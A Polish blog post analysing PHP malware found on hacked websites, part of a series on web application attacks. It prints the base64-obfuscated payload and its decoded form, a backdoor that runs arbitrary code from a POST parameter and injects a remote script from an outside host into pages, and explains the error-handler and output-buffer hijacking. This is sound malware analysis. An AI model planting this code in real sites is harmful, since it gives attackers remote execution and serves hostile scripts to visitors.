Ataki na web aplikacje – cz. 7
Napisał Aiv w kategorii Bezpieczeństwo, Hacking, PHP, Programowanie, tags: Bezpieczeństwo, PHPDzisiaj w cyklu mam kodzik który jak na takie syfy jest całkiem ładnie napisany. Autor wziął pod uwagę kilka sytuacji specjalnych, ale o tym poniżej. Bazowy kod który można znaleźć wygląda podobnie do wszystkich pozostałych:
<?php
eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndXEyJykpe2Z1bmN0aW9uIHVxMigkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzWmhjMkZwYTJGeUxtOXlaeTl0WVcxaWIzUnpMM05sWVhKamFDNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gdXEyMigkYSwkYiwkYywkZCl7Z2xvYmFsJHVxMjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHVxMjEpKWNhbGxfdXNlcl9mdW5jKCR1cTIxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd1cTInKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd1cTInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdXEybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndXEyMicpKSE9J3VxMjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw=='));
?>
Po odkręceniu base64 zobaczymy jednoliniowy kod, który już dla ułatwienia ułożyłem:
<?php
if(!function_exists('uq2')){
function uq2($s){
if(preg_match_all('#<script(.*?)</script>#is', $s, $a))
foreach($a[0]as$v)
if(count(explode("\n", $v)) > 5){
$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
if((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
$s = str_replace($v, '', $s);
}
if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
foreach($a[0]as$v)
if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i', $v) && !strstr($v, '?' . '>'))
$s = preg_replace('#' . preg_quote($v, '#') . '.*?</iframe>#is', '', $s);
$s = str_replace($a = base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3Zhc2Fpa2FyLm9yZy9tYW1ib3RzL3NlYXJjaC5waHAgPjwvc2NyaXB0Pg=='), '', $s);
if(stristr($s, '<body'))
$s = preg_replace('#(\s*<body)#mi', $a . '\1', $s, 1);
elseif(strpos($s, '<a'))
$s = $a . $s;
return $s;
}
function uq22($a, $b, $c, $d){
global $uq21;
$s = array();
if(function_exists($uq21))
call_user_func($uq21, $a, $b, $c, $d);
foreach(@ob_get_status(1) as $v)
if(($a = $v['name']) == 'uq2')
return;
elseif($a == 'ob_gzhandler')
break;
else
$s[] = array($a == 'default output handler'?false:$a);
for($i = count($s)-1; $i >= 0; $i--){
$s[$i][1] = ob_get_contents();
ob_end_clean();
}
ob_start('uq2');
for($i = 0;$i < count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$uq2l = (($a = @set_error_handler('uq22')) != 'uq22')?$a:0;
eval(base64_decode($_POST['e']));
?>
Ww. kod rejestruje sobie dwie funkcje „uq2″ i „uq22″ oraz udostępnia uruchamianie kodu zdalnego przesłanego via _POST['e'], ale to nie to spowodowało, że opisuje ten kod tutaj.
Autor kodu ustawia własny error_handler funkcją set_error_hanler i tutaj pierwsze „ładne” podejście programistyczne: gdyby programista w swoim kodzie użył własnego error_handlera, to trafi on do zmiennej $uq2l i zostanie później uruchomiony żeby nie przerwać przebiegu, którego spodziewa się programista.
W funkcji obsługującej błędy „uq22″ jest drugi element, który zwrócił moją uwagę: autor pobiera wszystkie funkcje przejmujące tzw: „output buffer” i jeżeli jest wśród nich funkcja programisty, to zostanie z niej pobrana zawartość, a później zostanie do niej zwrócona
Pomiędzy tymi czynnościami zawartość trafia do funkcji „uq2″.
Funkcja „uq2″ cały czas mnie zastanawia. Z kodu wynika że autor szuka na stronie kodu JavaScript umieszczonego w tagach <script>…</script> i czyści go z niektórych elementów. Dalej wyszukuje na podobnej zasadzie tagi iframe i również dokonuje czyszczenia. Na koniec kasuje z kodu odwołania do skryptu który zaraz doda przed tagiem </body>. Kod kryje się pod tekstem zapisanym w base64:
<script src=http://vasaikar.org/mambots/search.php ></script>
Ostatni element układanki (kod JavaScript) już nie jest dostępny, a więc nie wiadomo co działo się na końcu.
Wpisy (RSS)